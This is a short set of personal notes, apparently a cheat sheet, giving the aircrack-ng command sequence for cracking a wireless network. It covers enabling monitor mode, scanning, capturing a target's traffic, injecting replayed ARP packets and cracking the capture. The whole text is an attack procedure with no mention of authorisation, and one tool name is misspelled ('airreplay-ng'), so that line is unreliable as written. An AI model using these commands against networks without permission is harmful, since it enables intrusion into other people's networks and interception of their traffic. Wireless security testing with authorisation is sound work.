Aircrack-ng

Need USB network adaptor for virtual machine

# start monitoring interface
$ airmon-ng start wlan0

# see networks
$ airodump-ng wlan0mon

# capture
$ airodump-ng --bssid <bssid> -c <channel> -w <file> wlan0mon

# longer is easier to crack?
$ airreplay-ng -3 -b <bssid> -h <station>  wlan0mon

# crack
$ aircrack-ng <file>.cap